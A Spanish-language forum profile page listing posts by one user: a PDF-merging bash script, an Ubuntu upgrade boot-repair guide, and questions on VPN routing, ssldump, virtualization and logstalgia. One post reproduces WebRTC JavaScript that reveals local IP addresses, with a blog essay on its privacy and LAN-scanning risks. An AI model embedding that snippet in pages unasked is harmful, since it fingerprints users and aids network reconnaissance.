Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#46
Hola, hace poco tuve que hacer un script que quiero compartir.

Este script lo que hace es tomar un archivo pdf llamado "input.pdf" y le agrega una imagen de fondo a la portada (llamada bg-cover.png), claramente la portada debe tener transparencia para que esto funcione. Se necesita tener instalado image magic.

Saludos.

Código (bash) [Seleccionar]
#!/bin/bash

# Dependencies
# sudo apt-get install imagemagick

# Merge pdf and background image

# Split pdf into images
echo "Spliting pdf to images ..."
convert -density 150 input.pdf -quality 90 output.png

# Merge first page with background image
echo "join background image with cover ...";
composite -compose over -alpha On output-0.png bg-cover.png output-0.png

# Convert images to PDF
echo "Join images to out pdf file ...";
convert -compress jpeg `ls output-*.png` output.pdf

# Clean files
echo "Clean files ...";
rm -f output-*.png

echo "Done!";

#47
Hola, desde hace un tiempo he tenido un problema bastante específico con el aranque de Ubuntu y es que despues de actualizar de versión ya no arranca el modo gráfico pero cuando inicia el menú del grub (antes del arranque del sistema operativo) y elijes el kernel con opción "(upstart) arranca sin problemas.

En este post explicaré como solucionar algunos problemas más comunes que se tienen cuando actualizas tu distribución, todo lo que explicaré es una recopilación de muchas fuentes, muchas preguntas y muchas pruebas en mi pc que finalmente he logrado que todo funcione como reloj sin la necesidad de tener que formatear y reinstalar todo nuevamente.

Resumen
En resumen para los que no quieran leer todo el post debo decir que el problema es una combinación de muchos otros problemas:

* Librerías de Virtualbox no se eliminan al ser desinstalado
* Módulos del kernel de Virtualbox dejan de ser compatibles con la version del kernel actualizada junto a la nueva distribución.
* Montaje automático de discos NTFS o ExFat

Esto desencadena otra serie de problemas como por ejemplo que el arranque del kernel no finalice debido a que el módulo de virtualbox no existe y tampoco es capaz de automontar un disco con problemas de arranque (inicio rápido de windows)

Detalles

El primer problema que vemos es que no inicia ubuntu en modo gráfico sino que solo inicia en modo terminal (tty1):



Para comprender porque sucede esto lo que haremos es simplemente reiniciar el sistema y observar los mensajes de errores de carga:



En base a esto comenzaremos a solucionar de manera muy fácil cada uno de estos problemas.

Problema 1: Error al cargar los módulos del kernel de linux

El error de la carga del sistema nos dice:

Citar[FAILED] Failed to start Load Kernel Modules. See 'systemctl status systemd-modules-load.service' for details.



Cuando dejamos que inicie normalmente el sistema operativo este por lo menos iniciará en modo terminal y esto es bueno porque podremos observar los problemas que hubo en la carga, si iniciamos con upstart no veremos estos logs.

Despues que iniciamos sesión en modo terminal ejecutaremos el comando que nos recomendó el sistema:

Citarsystemctl status systemd-modules-load.service



El sistema nos dice que la carga de un módulo falló y si nos fijamos bien el comando específico que falló fue:

/lib/systemd/systemd-modules-load

Por lo tanto probamos aver que nos arroja:

$ sudo /lib/systemd/systemd-modules-load
Failed to insert 'vboxvideo': No such device


Ajamm! el módulo que nos da el problema es el video de Virtualbox, asi que trataremos de solucionarlo:

$ sudo  dpkg-reconfigure virtualbox
* Unloading VirtualBox kernel modules...   [ OK ]
* Loading VirtualBox kernel modules...      * No suitable module for running kernel found
                                                             [fail]
invoke-rc.d: initscript virtualbox, action "restart" failed.


Como falló intentaremos solucionar esto de otra manera:

$ sudo modprobe vboxdrv
modprobe: FATAL: Module vboxdrv not found in directory /lib/modules/4.4.0-34-generic


Entonces comprendí que claramente el módulo instalado por Virtualbox era compatible hasta ese momento para la versión del kernel cuando se instaló y por lo tanto claramente no es compatible con el nuevo kernel por lo cual las opciones a seguir son varias: reinstalar o eliminar virtualbox.

En mi caso para evitar problemas y asegurarme  que todo ande bien procedí a desinstalar virtualbox :

$ sudo apt-get purge virtualbox
$ sudo apt-get autoremove
$ sudo apt-get autoclean


Ahora probamos reiniciar el sistema y nos encontramos que el sistema continúa con el mismo problema y es porque el sistema aun está intentando cargar el mismo módulo de virtualbox a pesar de ya haber sido desinstalado, asi que procedemos a purgar manualmente virtualbox:

Editamos el archivo "/etc/modules" con cualquier editor, yo usé nano:
$ sudo nano -w /etc/modules

Buscamos y eliminamos la línea donde dice "vboxvideo", guardamos y cerramos el editor. Debiera quedar masomenos así el archivo final:

# /etc/modules: kernel modules to load at boot time.
#
# This file contains the names of kernel modules that should be loaded
# at boot time, one per line. Lines beginning with "#" are ignored.

lp
# vboxvideo


Nótese que vboxvideo está comentado con un signo gato.

Ahora si volvemos a reiniciar y ya no veremos el mismo error de la carga de módulos del kernel :D


Problema 2: journal falla porque no es capaz de crear el archivo de logs

El error de la carga del sistema nos dice:

Citar[FAILED] Failed to start Create Volatile Files and Directories. See 'systemctl status systemd-tmpfiles-setup.services'



La solución es tan fácil como eliminar el directorio de logs de journal service para que este vuelva a crearlos con sus nuevos permisos correspondientes:

$ rm -rf /var/log/journal
$ rm -rf /run/log/journal


Luego de esto reinicias el sistema y ya no debiera volver a aparecer ese mensaje de error.


Problema 3: Error al iniciar el servicio pNFS

El error de la carga del sistema nos dice:

Citar[DEPEND] Dependency failed for pNFS block layout mapping daemon.



Esto se soluciona creando una mascara del servicio:

$ sudo systemctl mask nfs-blkmap.service

Con esto ya no debiera volver a aparecer ese error.


Problema 4: No se monta el directorio raiz en modo de escritura

Todo lo que hemos solucionado hacia atrás era solo parte del problema, aun nos daremos cuenta que no podemos ingresar al modo gráfico.

Lo que haremos para ver que sucede es iniciar manualmente el modo gráfico y ver que nos arroja:

$ startx



Este error es muy común y se debe porque no tenemos montado el directorio raiz en modo de escritura, solo está en modo lectura y eso se debe a una configuración del mismo grub.

Hagamos una prueba, remontaremos la partición del directorio raiz del sistema y luego de eso iniciaremos el gestor gráfico:

$ sudo mount -o remount,rw /
$ startx


Al hacer esto nos daremos cuenta que nos apareció el login de ubuntu y podremos acceder normalmente al sistema.

Ahora, haremos que esto se haga de manera automática reparando el archivo de inicio:

Lo que haremos es editar el archivo "/etc/default/grub" con permisos de root, podemos hacerlo por ejemplo:

sudo gedit /etc/default/grub

O también usando vi o nano desde el terminal.

Buscamos las siguientes líneas:

CitarEOF
 fi
 if test -d /sys/firmware/efi && test -e "${linux}.efi.signed"; then
   sed "s/^/$submenu_indentation/" << EOF
   linux   ${rel_dirname}/${basename}.efi.signed root=${linux_root_device_thisversion} ro ${args}
EOF
 else
   sed "s/^/$submenu_indentation/" << EOF
   linux   ${rel_dirname}/${basename} root=${linux_root_device_thisversion} ro ${args}

Pueden haber mas lineas que sean similares pero lo importante es encontrar las que digan "ro", estas hay que reemplazarlas por "rw" (read write), guardas cambios y actualizamos el grub:

$ sudo update-grub

Luego reiniciamos el sistema (puedes reiniciar con el comando "reboot") y listo! ahora nuestro sistema inicia sin problemas.


Recomendaciones adicionales

Adicionalmente a esto también es recomendable realizar una serie de pasos y mantenciones para asegurarnos que tenemos todo en regla y que no nos aparecerán otros problemas adicionales que impidan iniciar normalmente el sistema:


1: Limpiar el sistema, actualizar todo y buscar dependencias no instaladas:
Hay algunos problemas conocidos en que el sistema no arranca despues de una actualización porque no se instalaron correctamente algunas dependencias.

$ sudo apt-get update
$ sudo dpkg --configure -a
$ sudo apt-get dist-upgrade
$ sudo apt-get -f install



2. Reinstalar "systemd-sysv"
Hay algunos problemas con "systemd-sysv" que impiden que el sistema arranque despues de una actualización, por este motivo procedemos a realizar una reinstalación:

$ sudo apt-cache policy systemd-sysv
$ sudo apt-get install --reinstall systemd-sysv


3. Eliminando los mimetypes
Hay algunos problemas cuando quieres hacer cambios específicos en algunos softwares que modifican el mimetype del sistema y arrojan una cantidad infinta de warnings de tipo "Unknown media type in type ...", esto se soluciona desinstalando el paquete con problemas:

$ sudo mv -vi /usr/share/mime/packages/kde.xml /usr/share/mime/packages/kde.xml.bak
$ sudo update-mime-database /usr/share/mime
$ sudo apt-get remove chemical-mime-data



¿Otros problemas similares al actualizar la distribución?, recomendaciones

Cuando actualizas una distribucin debes tener mucho cuidado, antes de hacerlo debes deshabilitar tus drivers privativos como los de nvidia, intel, etc ya que cuando actualizas y tienes un nuevo kernel estos drivers dejan de ser compatibles, por lo tanto cuando terminas y reinicias el sistema puedes terminar con un kernel panic:



Por esto cuando puedes iniciar por lo menos con "upstart" lo primero que debes hacer es deshabilitar tus drivers privativos desde el gestor de actualizaciones en la pestaña que dice "controladores restringidos":



Otro problema muy común es la actualización de componentes gráficos que en muchas ocasiones arrojan problemas debido a configuraciones antiguas, para evitar esto basta con reinstalar cada componente o purgar y luego instalar, por ejemplo en mi caso al actualizar "libgdk-pixbuf" a traves de las actualizaciones automáticas mi sistema dejó de dar video, por lo cual tuve que iniciar en modo tty1 (presionando Alt+Control+F1 después de loguearse sin importar que no se vea nada), esto iniciará el modo consola y luego procedemos a reinstalar el paquete afectado:

apt-get -y reinstall libgdk-pixbuf2.0-0 libgdk-pixbuf2.0-common libgdk-pixbuf2.0-common && reboot

Reiniciamos y solucionado!. Ahora, ¿cómo podemos saber exactamente que version estamos utilizando?:

whk@machine:~$ sudo apt list --installed | grep libgdk
[sudo] password for whk:

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

libgdk-pixbuf2.0-0/xenial-updates,xenial-security,now 2.32.2-1ubuntu1.4 amd64 [instalado]
libgdk-pixbuf2.0-common/xenial-updates,xenial-updates,xenial-security,xenial-security,now 2.32.2-1ubuntu1.4 all [instalado]
libgdk-pixbuf2.0-dev/xenial-updates,xenial-security,now 2.32.2-1ubuntu1.4 amd64 [instalado, automático]


Este problema se viene arrastrando desde hace muchos años y me ha sucedido hoy (2018). Esto es parte de un largo bug de ubuntu.

Otro problema muy común es que la tarjeta de red deja de ser compatible por lo cual cuando terminas la actualización y te encuentras con que solo puedes acceder al terminal tambien te das cuenta que no le puedes hacer ping a google, entonces ejecutas "ifconfig" para ver la configuración de red y no aparece "eth0", cuando eso sucede es porque tu driver de la tarjeta de red ya no es compatible.

Entonces, ¿que puedo hacer?: que tu tarjeta de red no le funcione el driver no quiere decir que tu chip de wifi tampoco lo sea, en muchas ocasiones si pero no siempre, en ese caso debes buscar documentación sobre como habilitar tu wifi manualmente desde "iwconfig".

Cuando no puedes habilitar ninguno de los dos lo que yo hago es buscar el modelo del notebook (laptop) o pc y le busco el driver oficial y se lo paso via usb pendrive, para esto debo montar manualmente la partición del usb y luego acceder al archivo e instalarlo, si es un .deb lo instalo con "dpkg -i archivo".

También es recomendable mantener siempre la última versión del kernel instalado y eliminar las versiones viejas. Cuando actualizas la distribución de tu sistema operativo este por lo general viene con nuevas versiones del kernel pero estas no se eliminan de manera automática, para esto puedes usar "Ubuntu Tweak" en la sección de limpieza:



Esto es bueno porque también eliminarás problemas de carga de módulos con otros kernels.

Otro punto a considerar es que si no tienes problemas con virtualbox si los puedes tener con algún otro sistema de virtualización como kvm, en este sentido desinstala y luego lo vuelves a instalar cuando tengas todo funcionando, tus configuraciones y maquinas virtuales al igual que con virtualbox no serán eliminados.

Si usas Java, después de actualizar tu sistema operativo debes reconfigurar la ruta por defecto:
$ sudo update-alternatives --config java

Y seleccionar la versión que estás usando, en mi caso es Java7:
root@machine:/# sudo update-alternatives --config java
Existen 3 opciones para la alternativa java (que provee /usr/bin/java).

 Selección   Ruta                                     Prioridad  Estado
------------------------------------------------------------
* 0            /usr/bin/gij-5                            1050      modo automático
 1            /usr/bin/gij-4.8                          1048      modo manual
 2            /usr/bin/gij-5                            1050      modo manual
 3            /usr/lib/jvm/java-7-oracle/jre/bin/java   1049      modo manual

Press <enter> to keep the current choice[*], or type selection number: 3
update-alternatives: utilizando /usr/lib/jvm/java-7-oracle/jre/bin/java para proveer /usr/bin/java (java) en modo manual
root@machine:/#


Si no lo haces entonces las aplicaciones que usaban java (como android studio) dejarán de funcionar o darán errores comunes de compatibilidad, como por ejemplo:

whk@machine:/opt/android-studio/bin$ ./studio.sh
java version "1.5.0"
gij (GNU libgcj) version 5.4.0 20160609

Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Start Failed: Internal Error. Please report to https://https://code.google.com/p/android/issues

java.lang.reflect.InvocationTargetException
  ...
Caused by: java.lang.RuntimeException: Could not find 'theUnsafe' field in the class sun.misc.Unsafe
  at com.intellij.util.concurrency.AtomicFieldUpdater.getUnsafe(AtomicFieldUpdater.java:44)
  ...14 more



Algunas fuentes

Algunas fuentes desde donde recopilé la información:


Espero que todo esto les pueda dar algunas luces sobre el problema que tengan cuando terminan de actualizar Ubuntu. Si no quieren pasar un buen rato sentado en el escritorio tratando de hacer arrancar ubuntu despues de una actualización entonces descarguen el iso de la nueva versión de ubuntu, respalden y formateen, instalen el SO de cero.

Saludos.
#48
Hola, alguien sabe de algún método para calcular el resto de un numero natural de 200 digitos?, he intentado con gmp pero no me da la longitud.

Saludos.
#49
He estado leyendo un post de un blog muy interesante y se trata de que utilizando el objeto webrtc de HTML5 es posible obtener las ips locales de todas tus interfaces de red:

http://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/

Acá una prueba de concepto: http://net.ipcalf.com/ al ingresar te muestra todas tus ips locales, a mi me mostró la que me asignó mi router, la del virtualbox y de una vpn local.

Acá el código fuente que han utilizado (en javascript):
Código (javascript) [Seleccionar]
// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;

if (RTCPeerConnection) (function () {
   var rtc = new RTCPeerConnection({iceServers:[]});
   if (1 || window.mozRTCPeerConnection) {      // FF [and now Chrome!] needs a channel/stream to proceed
       rtc.createDataChannel('', {reliable:false});
   };
   
   rtc.onicecandidate = function (evt) {
       // convert the candidate to SDP so we can run it through our general parser
       // see https://twitter.com/lancestout/status/525796175425720320 for details
       if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
   };
   rtc.createOffer(function (offerDesc) {
       grepSDP(offerDesc.sdp);
       rtc.setLocalDescription(offerDesc);
   }, function (e) { console.warn("offer failed", e); });
   
   
   var addrs = Object.create(null);
   addrs["0.0.0.0"] = false;
   function updateDisplay(newAddr) {
       if (newAddr in addrs) return;
       else addrs[newAddr] = true;
       var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
       document.getElementById('list').textContent = displayAddrs.join(" or perhaps ") || "n/a";
   }
   
   function grepSDP(sdp) {
       var hosts = [];
       sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
           if (~line.indexOf("a=candidate")) {     // http://tools.ietf.org/html/rfc4566#section-5.13
               var parts = line.split(' '),        // http://tools.ietf.org/html/rfc5245#section-15.1
                   addr = parts[4],
                   type = parts[7];
               if (type === 'host') updateDisplay(addr);
           } else if (~line.indexOf("c=")) {       // http://tools.ietf.org/html/rfc4566#section-5.7
               var parts = line.split(' '),
                   addr = parts[2];
               updateDisplay(addr);
           }
       });
   }
})(); else {
   document.getElementById('list').innerHTML = "<code>ifconfig | grep inet | grep -v inet6 | cut -d\" \" -f2 | tail -n1</code>";
   document.getElementById('list').nextSibling.textContent = "In Chrome and Firefox your IP should display automatically, by the power of WebRTCskull.";
}






Local IP discovery with HTML5 WebRTC: Security and privacy risk?

With the progression of HTML5 WebRTC, browsers are getting ever closer to making pluginless video conferencing a reality. One feature of WebRTC is the ability to discover the local IP addresses of the browsing machine. Does that put us at an increased risk?

Recently I stumbled across Nathan Vander Wilt's net.ipcalf.com. When opened from a relatively new version of Chrome or Firefox, your computer's local IP addresses should present itself.

I've coded up another example, which attempts to use WebRTC to find your local IPs, and then probe for other live hosts on your network(s).

Others will likely cover the usefulness of these APIs, so I will — for the sake of argument — comment on the tinfoilhat-y perspective. Bear with me.

Privacy concerns

I know for a fact that some people use multiple browsers on the same PC, in order to separate identities or browsing profiles. These people might browse Reddit's cute-cat-picture-subreddits with Firefox and the programming subreddits with Chrome. From the web server's perspective, both browsers will likely have the same public IP address, but their headers, tracking cookies and whatnot will clearly differ.

local-network

With the WebRTC local IP discovery technique, those interested in tracking you, be that ad agencies or some spy organization, will be able to do make connections between browsers based on a combination of public and local IP. If they for whatever reason can tie an identity to one browser, they will probably assume that the same person is hiding behind the second one.

There's also a risk that the local IP info can aid in identification between public IPs. Let's say that you use some VPN service, or Tor, whenever you surf cute cat pictures, but you use the same browser. EFF's Panopticlick tells the story of how each browser is pretty much unique, based on HTTP header fingerprinting and so forth. Add local IP addresses, or even subnets to circumvent DHCP lease times, and your browser / PC is even more unique. And by unique, I mean trackable.

Security concerns

Consider some evil page which, based on the local IP returned from the WebRTC technique, starts scanning devices on your LAN. Let's say your IP is 10.0.8.13, then the evil javascript could start out by guessing that your router is at 10.0.8.1. Then let's move on to assume that your router, which probably hasn't had it's firmware upgraded for a while, has some half-assed web interface, which is accessible from your LAN.

The chance of this router being remote exploitable — that is from your public IP — isn't huge. It has happened, but it doesn't happen that often. The chance of there still being some obscure XSS flaw hidden in there somewhere, however, is much greater. So what if this evil page, which has now identified that your router is on 10.0.8.1, and figured out which software it runs, then goes on to exploit one of the XSS vulnerabilities — and adds some evil person as remote admin?

Now this doesn't have to be your router. It would be fairly trivial for a javascript to discover which hosts are up on your local network — I've had great luck doing timed HTTPS-request against non-HTTPS ports on IPs to do just that. With this information, the evil page can go on to test the discovered hosts for a plethora of vulnerabilities, based on simple fingerprinting. That could do all kinds of damage.

I just put this to the test on an office network I am part of, which happens to house an old Canon printer. I'm pretty sure it predates the pyramids — but at the very least the dawn of security bugs, because it will do pretty much exactly what a rogue javascript tells it to do.

So, yeah, your printer is now part of a botnet, and is routinely DDoS-ing powerplants in Iran. Congratulations.

But what does it all mean?

So there are privacy concerns, and the feature can at least make local exploitation easier for an attacker.

On the other hand, there are bigger privacy concerns around today (yes I'm talking to you, NSA), and from a security perspective not yielding the ip is arguably security through obscurity.

So I'll let you lot make up your own minds. My tinfoil hat stays on.
#50
Hola, estoy intentando calcular la posicion de un objeto sobre una superficie pero me está costando un poco.

Tengo el lienzo que tiene un tamaño de 100x200 pixeles, este lienzo se encuentra posicionado al centro de la pantalla el cual tiene un tamaño dinámico, sobre el lienzo central se posiciona el objeto que puede tener una posición, por ejemplo de 10px de izquierda a derecha mas el pixel de inicio del lienzo.

Por ejemplo, digamos que la pantalla es de 1024x768 y el lienzo es de 100x200, entonces si el objeto está 10 pixeles dentro del lienzo hacia la derecha, quiere decir que la cantidad de pixeles hacia la derecha son ((1024/2)-(100/2))+10

El problema que tengo es que de manera dinámica le hago zoom al lienzo para ajustarlo a la pantalla, digamos que este facto de zoom es de 2.5, eso quiere decir que el lienzo es un 250% mas grande desde el centro hacia afuera para ser ajustado al tamaño completo de la pantalla.

Mi problema ahora se encuentra cuando necesito saber la exactitud de la posición del objeto que tambien fue redimensionado sobre el mismo lienzo.

No tengo acceso a los valores nuevos de cada objeto dibujado sobre el lienzo porque el sistema sobre el cual estoy trabajando no deja un historial de objetos, cuando se dibujan pasa a ser un lienzo único y no separado por capas (estoy usando canvas) asi que cuando hago la redimensión del lienzo el area de acción del objeto no se redimensiona (porque no es un objeto dibujable, es el area de un botón).

Lo que necesito es calcular la posicion exacta del boton ya redimensionado para poder realizar las acciones al momento de hacer click sobre el botón.



Lo azul es la pantalla, el rojo es el lienzo y el verde es el botón.

Tengo posiciones top, bottom, left y right, es un area cuadrada, lo que traté de hacer es aumentar cada valor multiplicado por la mitad del factor de zoom pero no me resultó, también intenté aumentar proporcionalmente el tamaño del area del boton pero me es dificil poder posicionarlo ya que por ejemplo si el boton esta en la ezquina superior derecha la posicion top y left no debiera cambiar como si estubiera en la posicion right bottom porque el superior se corre hacia arriba y la izquierda y el de abajo hacia abajo y la izquierda y si estubiera al centro es proporcional.

¿A alguien se le ocurre como hacer esto?
#51
Debido a que un derrame lo dejo paralizado este soldador construyo un brazo biónico a partir de basura que se controla con la mente.

¿Recuerdas cómo Hiro de "Big Hero 6" controla sus microbots con los neurotransmisores que lleva en la cabeza? Al parecer, esto no solo sucede en las películas, sino también en la vida real. Este hombre de 31 años de edad, parcialmente discapacitado, creo un neurotransmisor para su brazo bionico casero.

Wayan Sumardana de Bali, Indonesia, hizo su propio brazo biónico en su taller en el pueblo de Nyuh Tebel en la región de Karangasem.



También conocido como Tawan, sufrió un derrame cerebral leve hace seis meses que paralizó su brazo izquierdo y la mano, haciéndolo incapaz de trabajar.



Un día vio a su hijo llorando porque el pobre muchacho no tenía dinero para comprar algo para merendar. Así que decidió que tenía que hacer algo.



Obsesionado con la maquinaria desde que era pequeño y con su conocimiento en ingeniería eléctrica, el soldador se le ocurrió hacer un brazo biónico con objetos inservibles.



Primero hizo una "banda para la cabeza neurotransmisora", la cual envía señales del cerebro y se amplifican en su brazo robótico.

Tawan dijo: "Es similar a un detector de mentiras. Hay electrodos colocados en el cuero cabelludo, cuyas funciones son tomar pequeñas señales de la cabeza. Estas señales no se pueden detectar sin este dispositivo. La pequeña señal se envía en una señal ampliada y llega al micro-control en la espalda y se transfiere a la parte delantera. "

"Por ejemplo si quiero mover esta parte, todo es parte de la actividad, pero dependiendo en las necesidades que tenga. Si la herramienta no está activa, el brazo simplemente se queda pegado a un cuerpo. El proceso funciona como un dinamo, si hay acceso directo, sigue funcionando, pero gasta más energía" explico.

Aquí el vídeo:

[youtube=640,360]https://www.youtube.com/watch?v=ocgOnI5bx5Y[/youtube]

Fuente: http://www.taringa.net/post/info/19270719/Genio-Invento-Brazo-Bionico-Lo-maneja-con-su-Mente.html
#52
Hola, tengo una duda, es posible que un computador conectado a una vpn con openvpn solo use la vpn para ciertas conexiones de IPs especificas?

Por ejemplo, me gustaría que todo el tráfico WEB no pase por la VPN sino solo ciertas ip como por ejemplo las de intranet o cuando un pc necesite acceder a otro pc dentro de la misma vpn, la idea es ahorrar ancho de banda en el servidor ya que mi idea no es restringir ni monitorear el tráfico, sino solamente tener un canal de acceso a los equipos y que ellos tambien puedan acceder a sistemas internos, porque tener que pasar todo el tráfico quiere decir que necesitaré una maquina y una conexión de red que aguante todo lo que hacen los usuarios y la verdad es que no me interesa si alguien esta descargando un iso o un software de mas de 20gb, solo necesito que la gente acceda a los sistemas internos y poder tener acceso a cada uno.

Una solución que se me ocurrió fue publicar todos los servicios al exterior y usar dominios especiales y un daemon en cada pc para poder acceder a la shell de manera inversa, pero publicar los servicios no lo encuentro muy buena por temas de seguridad y no todos los servicios son web.

Es posible hacer esto solamente usando openvpn y algun enrutamiento especial con iptables? por ejemplo hacer que el pc acceda a google normalmente pero a document.local usando la vpn?, se me ocurre creando dos redes virtuales dentro del pc cliente y enrutar esas direcciones a la red virtualizada y desde ahi levantar el cliente vpn pero no se si realmente se pueda.

Lo otro que pensé es usar solamente socks 5 y desde ahi hacer pasar las conexiones por tunnel, por ejemplo el git, voip, servicios web, etc pero en el caso de los sitios de intranet como lo haria para hacer pasar solamente algunos dominios por socks 5 y no todos? otraves una red virtual en local?
#53
Hola, cuando voy en el metro desde mi casa al trabajo entro a jugar desde mi movil a Throne rush, alguien mas lo juega? he creado una hermandad por si alguien se quiere unir para que podamos compartir tropas y xp. Mi hermandad se llama "WHK Land" xD, debiera aparecer en el buscador de hermandades.

El acceso es libre y no tiene mínimo de xp para entrar.

#54
Hola, estoy haciendo algunas pruebas con ssldump pero no me descifra el contenido original.

# ssldump -k /etc/letsencrypt/live/site/privkey.pem -i eth0 -d -P port 443

Cuando no le doy el puerto 443 me muestra muy bien el contenido via http al puerto 80 pero al 443 que va cifrado no me muestra nada, solamente logs de la negociación del certificado. ¿Qué hice mal?, según la documentación oficial estoy haciendo todo bien.

Le doy la opción -P para que no se ponga en modo promiscuo, solo necesito capturar el tráfico de la red actual no de toda la red y -d para mostrar el contenido de los datos.

La llave del certificado es la misma que está siendo usada en el servidor web

# ll
total 4
lrwxrwxrwx 1 root root 48 abr 28 14:21 cert.pem
lrwxrwxrwx 1 root root 49 abr 28 14:21 chain.pem
lrwxrwxrwx 1 root root 53 abr 28 14:21 fullchain.pem
lrwxrwxrwx 1 root root 51 abr 28 14:21 privkey.pem
#55
Debido a la antigüedad de la anterior y la falta de algunos editores nuevos se crea una encuesta nueva.

- Pueden votar por 6 en total.
- No mencionar depuradores o comandos (echo "hola mundo" > prueba.html).

Los resultados de la anterior encuesta:

[Encuesta] ¿Qué editor de código utilizas? (2015)


NombreVotos
Dreamweaver   30 votos (5.8%)
Aptana   2 votos (0.4%)
NetBeans   41 votos (7.9%)
Eclipse   44 votos (8.5%)
Notepad++   109 votos (21%)
Microsoft expression Web   2 votos (0.4%)
Quanta plus   0 votos (0%)
Sublime Text   120 votos (23.2%)
Atom   12 votos (2.3%)
Vim   16 votos (3.1%)
Geany   13 votos (2.5%)
Bluefish   3 votos (0.6%)
Emacs   4 votos (0.8%)
Gedit   17 votos (3.3%)
Brackets   12 votos (2.3%)
KWrite   2 votos (0.4%)
TextMate   0 votos (0%)
Coda   0 votos (0%)
Komodo Edit   4 votos (0.8%)
Visual Web Developer   0 votos (0%)
Zend Studio   0 votos (0%)
PhpStorm   5 votos (1%)
Otro (comentar)   13 votos (2.5%)
nano   17 votos (3.3%)
Visual Studio   52 votos (10%)

Esta encuesta esta en el subforo de Desarrollo Web, se aplica solo para proyectos de desarrollo web.

Saludos
#56
GNU/Linux / Ayuda con virtualización
6 Mayo 2016, 22:03 PM
Hola, he decidido transformar mi servidor dedicado en varias instancias virtuales para separar en red local varios servicios tales como web, correo, archivos en la nube, vpnssl (o socks5 via ssh sobre un puerto personalizado), etc. El problema es que mi maquina no tiene recursos ilimitados, tiene 32gb de ram y una cpu xeon de 8 cores y quiero tener 7 u 8 instancias virtuales, sacando la cuenta de la cantidad de memoria que usa cada servicio mas lo que usa propiamente el sistema operativo me alcanza muy bien, pero estoy en el dilema de la compartición de recursos.

Estoy usando Centos 7, estuve observando KVM pero al crear una instancia necesitas declarar la cantidad de nucleos a usar y ram, si debo repartir estos recursos tendría que disponer de 1 nucleo para cada servicio y 2.5gb de ram para cada instancia, pienso que es muy poco en comparación a lo que tengo hoy (todo en uno).

La ventaja de lo que tengo hoy es que todos los servicios usan el mismo hardware asi que si un servicio no tiene mucha carga y otro tiene una carga elevada este puede hacer uso de la mayor parte de los recursos, esto quiere decir que el sitio web podría recibir una ataque muy bien mientras que los demás servicios estén relajados.

Al no poder hacer esto en KVM Qemu vi algunas alternativas como Openvz que justamente utilizan el hardware bajo demanda, esto quiere decir que ya no asignas un uso de memoria ram para cada instancia virtual sino que utiliza el máximo siempre y este se comparte (eso fue lo que entendí), el problema es que nunca he usado Openvz (pero si virtualbox y vmware workstation) y vi que ofrece un sistema llamado virtuozo pero que al parecer es de pago y mas de encima el sitio web está caido.

Asi que mi pregunta viene así: ¿Es posible utilizar software comunitario o de libre costo para realizar lo que necesito?

Otra pregunta: Esposible que la instancia web y mail hagan uso de todo el hardware pero el servidor de tetsing haga uso solamente de 2gb de ram y 2 cpu como máximo? hay algún software de virtualización que haga esto?

¿Que me recomiendan o que debiera ser lo mas óptimo que debiera hacer?
#57
Hola, existe un proyecto llamado logstalgia:

http://logstalgia.io/
https://github.com/acaudwell/Logstalgia

Esta aplicación muestra de manera gráfica los accesos de apache server (leyendo sus logs), a demás tiene la opción de exportar esto en un archivo de video en formato ppm, con ffmpeg es posible realizar un stream para que exporte directamente en webm y poderlo visualizar desde un servidor web.

El problema de esto es que quisiera implementarlo en mi servidor directamente, pero solo tengo instalado el sistema via terminal sin el gestor gráfico de escritorio, uso CentOS 7. El problema es que si hago correr logstalgia este abre la ventana con los gráficos independientemente si se va a exportar su salida en video o no y al no tener xserver corriendo ni gnome ni nada no funciona:

[me@server logs]# logstalgia -1280x720 --output-ppm-stream video.ppm access_log
terminate called after throwing an instance of 'SDLInitException'
 what():  Unable to memory map the video hardware
Abortado


He instalado todo lo necesario, lo compilé desde el mismo repositorio, tengo todas sus dependencias instaladas, pero si no tengo modo gráfico no arranca.


Como tengo el código fuente quisiera saber dos cosas:

1. Es posible arrancar la librería gráfica de la aplicación sin que sea levantada en ninguna ventana? es posible hacer funcionar esta aplicación y que me exporte el video sin la necesidad de levantar xserver?

2. Necesito algunas luces sobre como realizar esta modificación.

Muchas gracias.
#58
Hola, he estado intentando hacer arrancar el gestor gráfico en centos 6 para poder hacer funcionar de manera local logstalgia pero no he tenido mucho éxito:

[root@ns510814 ~]# yum -y groupinstall "X Window System"
...
[root@ns510814 ~]# yum -y groupinstall "Desktop"
...
[root@ns510814 ~]# yum -y groupinstall "General Purpose Desktop"
...
[root@ns510814 ~]# startx
xauth:  creating new authority file /root/.serverauth.15535


X.Org X Server 1.15.0
Release Date: 2013-12-27
X Protocol Version 11, Revision 0
Build Operating System: c6b8 2.6.32-220.el6.x86_64
Current Operating System: Linux ns510814.ip-192-99-9.net 3.14.32-xxxx-grs-ipv6-64 #1 SMP Tue Jun 30 18:50:21 CEST 2015 x86_64
Kernel command line: root=/dev/md2  ro
Build Date: 23 July 2015  05:32:11PM
Build ID: xorg-x11-server 1.15.0-36.el6.centos
Current version of pixman: 0.32.4
Before reporting problems, check http://wiki.centos.org/Documentation
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Sat Mar 26 13:22:58 2016
(==) Using config file: "/etc/X11/xorg.conf"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
Initializing built-in extension Generic Event Extension
Initializing built-in extension SHAPE
Initializing built-in extension MIT-SHM
Initializing built-in extension XInputExtension
Initializing built-in extension XTEST
Initializing built-in extension BIG-REQUESTS
Initializing built-in extension SYNC
Initializing built-in extension XKEYBOARD
Initializing built-in extension XC-MISC
Initializing built-in extension SECURITY
